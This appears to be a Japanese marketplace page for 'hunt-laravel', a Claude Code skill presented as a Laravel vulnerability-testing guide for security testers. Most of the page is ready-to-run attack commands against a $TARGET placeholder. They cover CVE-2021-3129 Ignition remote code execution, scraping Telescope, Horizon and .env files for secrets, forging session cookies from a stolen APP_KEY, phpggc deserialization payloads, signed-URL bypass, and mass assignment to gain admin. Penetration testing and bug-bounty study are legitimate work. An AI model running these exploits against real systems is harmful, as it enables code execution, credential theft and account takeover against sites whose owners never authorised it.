mcpField
H
hunt-laravel

hunt-laravel

github.com/uphiagoセキュリティ1.3k40 回インストール8 週間前に更新
リポジトリ

hunt-laravel について

Webセキュリティテスター向けのLaravel脆弱性調査スキルで、フレームワークの識別と主要なリスクの確認手順をまとめています。Ignition RCE、TelescopeやHorizonの情報露出、.env漏えい、署名付きURL、Mass Assignmentを扱い、検証基準も示します。

主な機能

  1. 01Laravelサイトと一般的なパスを特定
  2. 02デバッグモードとIgnition RCEを確認
  3. 03TelescopeとHorizonの情報露出を調査
  4. 04.env、APP_KEY、署名付きURLを確認
  5. 05Mass AssignmentとセッションCookieのリスクをテスト

活用シーン

  1. 01本番環境のLaravelデバッグ設定を評価
  2. 02ダッシュボードから認証情報やユーザーデータが漏れるか確認
  3. 03APP_KEYの漏えいによるセッション偽造を検証
  4. 04署名付きURLとMass Assignmentの権限への影響をテスト

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-laravel

インストール後、Claude Code で/hunt-laravelを入力して読み込まれたか確認します。

詳細

HUNT-LARAVEL — Laravel 固有の脆弱性

重要ターゲット

本番環境で Laravel のデバッグモードが有効になっていると、Ignition 経由で即座に RCE が可能です(CVE-2021-3129)。

最も価値の高い発見事項:

  • Ignition RCE(CVE-2021-3129) — APP_DEBUG=true かつ Laravel < 8.4.2 の場合、認証なしで /_ignition/execute-solution から RCE が可能
  • Telescope ダッシュボード — /telescope から、リクエスト/レスポンスの全ログ、DB クエリ、Redis コマンド、スケジュール済みジョブ、環境変数が漏えいします
  • Horizon ダッシュボード — /horizon から、キュージョブの詳細や、完全なペイロードを含む失敗したジョブにアクセスできます(API キーや PII が含まれている可能性があります)
  • 署名付き URL の改ざん — URL::signedRoute が誤ったパラメーターを検証している場合、署名付き URL を迂回して不正な操作を実行できます
  • .env の露出 — APP_KEY が漏えいすると、暗号化されたすべての Cookie を復号し、セッションを偽造して ATO を実行できます

フェーズ 1 — Laravel のフィンガープリント

# Laravel-specific indicators
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "laravel_session\|x-powered-by.*php"
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -i "laravel\|Illuminate\|csrf-token"

# Common Laravel paths
for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
  STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  [ "$STATUS" != "404" ] && echo "$path: $STATUS"
done

# Check error page (trigger 404)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel\|Whoops\|Ignition\|symfony"

フェーズ 2 — デバッグモードと Ignition RCE(CVE-2021-3129)

# Step 1: Check if debug mode is enabled (Whoops error page)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/nonexistent" | grep -i "Whoops\|APP_DEBUG\|Ignition"

# If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129

# Step 2: Check Ignition endpoint
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_ignition/health-check" | head -5

# Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation
# (Requires debug mode + writable storage/logs)
# Tool: ambionics/laravel-ignition-rce
git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
php /tmp/laravel-rce/exploit.php https://$TARGET "id"

# Manual test — send solution request
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/_ignition/execute-solution" \
  -H "Content-Type: application/json" \
  -d '{
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
      "variableName": "x",
      "viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
    }
  }'

フェーズ 3 — Laravel Telescope と Horizon

# Telescope — request/response logs, DB queries, jobs, cache, events
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope" | grep -i "telescope\|laravel"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50

# Horizon — queue worker dashboard
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/horizon" | grep -i "horizon\|laravel"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50
# Failed job payloads often contain full request data including auth tokens

# Common paths
for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do
  STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  [ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"
done

フェーズ 4 — .env ファイルと APP_KEY の露出

# Direct .env access
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.env" | grep -i "APP_KEY\|DB_PASSWORD\|SECRET\|KEY"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.env.production"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.env.backup"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.env.local"

# If APP_KEY found:
APP_KEY="base64:XXXXXXX"
echo "APP_KEY=$APP_KEY"
# → Can decrypt all Laravel encrypted cookies
# → Can forge session cookies → ATO for any user

# Also check
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/storage/logs/laravel.log" | tail -100 | grep -i "exception\|error\|key\|password"

フェーズ 5 — 署名付き URL の改ざん

# Laravel signed URLs contain signature param: ?signature=HASH
# Find signed URL endpoints
cat recon/$TARGET/urls.txt | grep "signature="

# Test: modify a non-signature parameter — should fail validation
SIGNED_URL="https://$TARGET/unsubscribe?user=123&[email protected]&signature=VALID_SIG"

# Modify user ID → should fail if properly signed
curl --max-time 30 --connect-timeout 10 -s "${SIGNED_URL/user=123/user=999}"

# Test signature bypass: remove signature entirely
curl --max-time 30 --connect-timeout 10 -s "${SIGNED_URL/&signature=VALID_SIG/}"

# Test: does the app validate ALL parameters or just some?
curl --max-time 30 --connect-timeout 10 -s "${SIGNED_URL}&extra=malicious"

フェーズ 6 — Eloquent 経由の一括代入

# Laravel Eloquent ORM — if model uses $guarded=[] or $fillable=[] improperly
# Test: add extra fields to update/create requests

# Profile update
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/profile" \
  -H "Cookie: laravel_session=SESSION" \
  -H "Content-Type: application/json" \
  -d '{"name": "Test", "email": "[email protected]", "is_admin": true, "role": "admin"}'

# Registration
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/register" \
  -H "Content-Type: application/json" \
  -d '{"name": "Test", "email": "test@[DOMAIN_EXAMPLE]", "password": "test123", "verified": true, "admin": 1}'

フェーズ 7 — Laravel Cookie のデシリアライズ

# If APP_KEY is known, forge a session cookie with malicious serialized payload
# Uses phpggc gadget chains

# Get the app key
APP_KEY=$(curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.env" | grep "^APP_KEY=" | cut -d= -f2)

# Generate payload with phpggc
php phpggc Laravel/RCE5 system 'id' | base64

# Sign the cookie with the app key using laravel-cookie-forge script
# python3 laravel_cookie_forge.py --key "$APP_KEY" --payload "PHPGGC_PAYLOAD"

チェーン表

Laravel の発見事項チェーン先影響
デバッグモードが有効CVE-2021-3129 Ignition RCE重大な RCE
Telescope にアクセス可能API キー、DB クエリ、環境変数の読み取り高 — 認証情報の窃取
Horizon にアクセス可能失敗したジョブのペイロードの読み取り高 — PII/トークンの窃取
APP_KEY を含む .env が露出セッション Cookie を偽造 → ATO重大な ATO
署名付き URL の迂回不正な操作(任意のユーザーの登録解除など)中〜高
一括代入is_admin=true を設定 → 権限昇格重大

検証

✅ Ignition RCE:id コマンドの出力がレスポンスに返される
✅ Telescope:API レスポンスに、認証情報またはユーザートークンを含む DB クエリが含まれる
✅ APP_KEY:偽造したセッション Cookie が受け入れられ、別のユーザーのプロフィールが返される
✅ 一括代入:is_admin: true が受け入れられ、アカウントに管理者権限が付与される

深刻度:

  • Ignition RCE:重大
  • 機密データを含む Telescope/Horizon:高
  • APP_KEY を含む .env:重大
  • 一括代入による管理者権限の付与:重大

検証

Laravel のハンティング準備ができていることを確認するには、次のセルフテストを実行します。

  1. スキルの整合性 — スキルファイルが読み取り可能で、正しい形式であることを確認します:

    grep -q "name: hunt-laravel" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. カテゴリの確認 — スキルにカテゴリがあることを確認します:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 落とし穴のセクション — 落とし穴が文書化されていることを確認します:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

3 つすべてのテストで、スキルが適切に構成され、使用できる状態であることを確認します。


注意点

  • 悪用を伴わない APP_KEY の露出 — APP_KEY があれば Cookie の復号と署名が可能です。偽造したセッション Cookie または復号したデータを実証してください。
  • 機密情報の出力を伴わないデバッグモード — APP_DEBUG=true によりスタックトレースが表示されるだけなら深刻度は低です。デバッグ出力に認証情報またはシークレットが含まれている必要があります。
  • データベース認証情報を伴わない .env の露出 — APP_NAME=... しか含まない .env の露出は情報提供にとどまります。DB 認証情報、API キー、またはシークレットが必要です。
  • 認証なしでの Telescope/Horizon へのアクセス — これらのツールからキュー、キャッシュ、リクエストのデータが漏えいします。これらを通じて機密データにアクセスできることを実証してください。

コメント